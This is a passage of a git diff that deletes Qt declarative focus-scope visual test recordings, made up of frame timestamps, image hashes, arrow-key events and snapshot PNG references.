- Frame { - msec: 1664 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1680 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1696 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1712 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1728 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1744 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1760 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1776 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1792 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1808 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1824 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1840 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1856 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1872 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1888 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1904 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1920 - image: "test2.1.png" - } - Frame { - msec: 1936 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1952 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1968 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 1984 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2000 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2016 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2032 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2048 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2064 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2080 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2096 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2112 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2128 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2144 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2160 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2176 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2192 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2208 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2224 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2240 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2256 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2288 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2304 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2320 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2336 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2352 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } - Frame { - msec: 2368 - hash: "bb4131579c66dc948f2e27e236deb4ab" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data/test3.0.png b/tests/auto/declarative/visual/focusscope/data/test3.0.png deleted file mode 100644 index 374acf5..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.1.png b/tests/auto/declarative/visual/focusscope/data/test3.1.png deleted file mode 100644 index b75cb10..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.2.png b/tests/auto/declarative/visual/focusscope/data/test3.2.png deleted file mode 100644 index 9b2f919..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.3.png b/tests/auto/declarative/visual/focusscope/data/test3.3.png deleted file mode 100644 index bf63032..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.4.png b/tests/auto/declarative/visual/focusscope/data/test3.4.png deleted file mode 100644 index 6981a06..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.5.png b/tests/auto/declarative/visual/focusscope/data/test3.5.png deleted file mode 100644 index 5856325..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.6.png b/tests/auto/declarative/visual/focusscope/data/test3.6.png deleted file mode 100644 index 9b2f919..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.7.png b/tests/auto/declarative/visual/focusscope/data/test3.7.png deleted file mode 100644 index b75cb10..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.8.png b/tests/auto/declarative/visual/focusscope/data/test3.8.png deleted file mode 100644 index 374acf5..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.9.png b/tests/auto/declarative/visual/focusscope/data/test3.9.png deleted file mode 100644 index 11a08bd..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test3.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test3.qml b/tests/auto/declarative/visual/focusscope/data/test3.qml deleted file mode 100644 index 8ce7944..0000000 --- a/tests/auto/declarative/visual/focusscope/data/test3.qml +++ /dev/null @@ -1,2879 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 32 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 48 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 64 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 80 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 96 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 112 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 128 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 144 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 160 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 176 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 192 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 208 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 224 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 240 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 256 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 272 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 288 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 304 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 320 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 336 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 352 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 368 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 384 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 400 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 416 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 432 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 448 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 464 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 480 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 496 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 512 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 528 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 544 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 560 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 576 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 592 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 608 - hash: "c114718c158f107e8a7d06bf49d30855" - } - Frame { - msec: 624 - hash: "c71bf3c6ef7addc3c1f55e3f92c001ac" - } - Frame { - msec: 640 - hash: "b075c33ed606041dfb57a03f92cf5574" - } - Frame { - msec: 656 - hash: "1933a060fc0b889082df94054a2d3c7e" - } - Frame { - msec: 672 - hash: "cc4133e796a242493538131c789c392c" - } - Frame { - msec: 688 - hash: "cbc16ad8bcb8dcf73ae101ca4899adac" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 704 - hash: "1a5e008ef5640ad85a19b307244a36f7" - } - Frame { - msec: 720 - hash: "6a0c9d0f3ac068d65d590c844dae4ebb" - } - Frame { - msec: 736 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 752 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 768 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 784 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 800 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 816 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 832 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 848 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 864 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 880 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 896 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 912 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 928 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 944 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 960 - image: "test3.0.png" - } - Frame { - msec: 976 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 992 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 1008 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 1024 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 1040 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 1056 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 1072 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 1088 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1104 - hash: "ac2f6e2f5f379ad8717aa3754f2aab80" - } - Frame { - msec: 1120 - hash: "e896c5b5a4fd121e5c25aba0a17c11f3" - } - Frame { - msec: 1136 - hash: "1d1228cf0b205e46a969a0016245bb9e" - } - Frame { - msec: 1152 - hash: "d07b1d53655e549c503223fddfa62038" - } - Frame { - msec: 1168 - hash: "d774614f13d1a19eff3c451c4abce7e5" - } - Frame { - msec: 1184 - hash: "0e8445283c961a41c22ede2f26ab0d0c" - } - Frame { - msec: 1200 - hash: "f85ced79a9d521b70b093d43d1335914" - } - Frame { - msec: 1216 - hash: "3f70531768847686f202336827ed5c51" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1232 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1248 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1264 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1280 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1296 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1312 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1328 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1344 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1360 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1376 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1392 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1408 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1424 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1440 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1456 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1472 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1488 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1504 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 1520 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1536 - hash: "c59557a62fb22756ecae00bf36589f19" - } - Frame { - msec: 1552 - hash: "c2938aac121e121eb138b2cdc485a23c" - } - Frame { - msec: 1568 - hash: "aa582bd07789a0ce000bb014b4924969" - } - Frame { - msec: 1584 - hash: "59d7a7fed20a11ecb12de08c77f0f303" - } - Frame { - msec: 1600 - hash: "9a1d7649e44e2c2436855b92abbae030" - } - Frame { - msec: 1616 - hash: "e46c47a221da37bbdffcdf671e84774b" - } - Frame { - msec: 1632 - hash: "85ff7ef61ef08dc97065b0536f9f8766" - } - Frame { - msec: 1648 - hash: "1159f274e5c2947875484d04a3ac6694" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1664 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1680 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1696 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1712 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1728 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1744 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1760 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1776 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1792 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1808 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1824 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1840 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1856 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1872 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1888 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1904 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1920 - image: "test3.1.png" - } - Frame { - msec: 1936 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1952 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1968 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 1984 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 2000 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2016 - hash: "26e5e7612374c7a4f7ac26a284c735b4" - } - Frame { - msec: 2032 - hash: "03c63a8bab380ebcd02f2bf2f588df85" - } - Frame { - msec: 2048 - hash: "1a7c4738de4f1123c7e639c935095476" - } - Frame { - msec: 2064 - hash: "8362cb8a253dcb2e9ef7fb070579d639" - } - Frame { - msec: 2080 - hash: "8fae548ad1f2e16738c14636b905efef" - } - Frame { - msec: 2096 - hash: "05fca78fea63817204b2303495baaec7" - } - Frame { - msec: 2112 - hash: "5bf7b04177db667f23f1bc4f0066bc44" - } - Frame { - msec: 2128 - hash: "aa10d0614604f0563d4fc458b7bb9260" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2144 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2160 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2176 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2192 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2208 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2224 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2240 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2256 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2272 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2288 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2304 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2320 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2336 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2352 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2368 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2384 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2400 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2416 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2432 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2448 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2464 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2480 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2496 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 2512 - hash: "0461d0e31648d2c155bee0145094c153" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2528 - hash: "1823a5c00778550c6b46416e6a2b730f" - } - Frame { - msec: 2544 - hash: "7ca64f71eee9d3a926335de026be5fe2" - } - Frame { - msec: 2560 - hash: "5f9e44b8374a490793b479440ce3b701" - } - Frame { - msec: 2576 - hash: "b0969884a9654d87da9941fb9eb4c99a" - } - Frame { - msec: 2592 - hash: "aeadf244a67b3c9e5c119b52aa0f15a0" - } - Frame { - msec: 2608 - hash: "2d990e5ae8d3660079bdea7f2b5245a7" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2624 - hash: "5998faffa17f9ffbf1cb39cdc09cdd54" - } - Frame { - msec: 2640 - hash: "bf8089df5d863f627cd44294f322d796" - } - Frame { - msec: 2656 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2672 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2688 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2704 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2720 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2736 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2752 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2768 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2784 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2800 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2816 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2832 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2848 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2864 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2880 - image: "test3.2.png" - } - Frame { - msec: 2896 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2912 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2928 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2944 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2960 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 2976 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 2992 - hash: "d707cb6e2587eecba275d1e7ceb9d020" - } - Frame { - msec: 3008 - hash: "fddd144d4d2e475330ff87f4e6febe35" - } - Frame { - msec: 3024 - hash: "06115e65296d1a77ab956cd3984303ee" - } - Frame { - msec: 3040 - hash: "6881ec448625fdc23f1241bd60362460" - } - Frame { - msec: 3056 - hash: "d94fdfd178377328e3b840c32f774958" - } - Frame { - msec: 3072 - hash: "d2cba0b3aac8002aa2de51f7b1442985" - } - Frame { - msec: 3088 - hash: "c0ea81cddf6b1f5b4b4157dade6b8ca0" - } - Frame { - msec: 3104 - hash: "964a80740cc7ba474d5d10b76cca1b14" - } - Frame { - msec: 3120 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3136 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3152 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3168 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3184 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3200 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3216 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3232 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3248 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3264 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3280 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3296 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3312 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3328 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3344 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3360 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3376 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3392 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3408 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3424 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3440 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3456 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3472 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 3488 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3504 - hash: "56634199c96e5c4588c2954f0595fcaa" - } - Frame { - msec: 3520 - hash: "a51221b77045e51cba2b0913546961cb" - } - Frame { - msec: 3536 - hash: "9910569a15164882056802e5ecfaef42" - } - Frame { - msec: 3552 - hash: "17080817e0b23212828d2cee23eff98f" - } - Frame { - msec: 3568 - hash: "791fee9758645fe21fe52918e5435f7d" - } - Frame { - msec: 3584 - hash: "e0fcea2889a4825075322524025a4bdf" - } - Frame { - msec: 3600 - hash: "825f58093f328182fa32b3cbc573101f" - } - Frame { - msec: 3616 - hash: "550972282584bd52108728290bd4aa5e" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3632 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3648 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3664 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3680 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3696 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3712 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3728 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3744 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3760 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3776 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3792 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3808 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3824 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3840 - image: "test3.3.png" - } - Frame { - msec: 3856 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3872 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3888 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3904 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3920 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3936 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3952 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3968 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 3984 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 4000 - hash: "a2386a0135e8ffd9f2ac12345ede3553" - } - Frame { - msec: 4016 - hash: "9550cdc0032bc3ea0a611f2584f43cca" - } - Frame { - msec: 4032 - hash: "3f39909102a04f0e41a97b10dde4425a" - } - Frame { - msec: 4048 - hash: "535d56a4d450cf0222f94573a88bbf80" - } - Frame { - msec: 4064 - hash: "c4b782cfb9399689b0cbfc2a97305984" - } - Frame { - msec: 4080 - hash: "23604b04198d53e0ba4a0955d8bcf124" - } - Frame { - msec: 4096 - hash: "a440962d680f70eb47af38a91390b8c0" - } - Frame { - msec: 4112 - hash: "da4b079f00248a073ce49f749ff0cc77" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 4128 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4144 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4160 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4176 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4192 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4208 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4224 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4240 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4256 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4272 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4288 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4304 - hash: 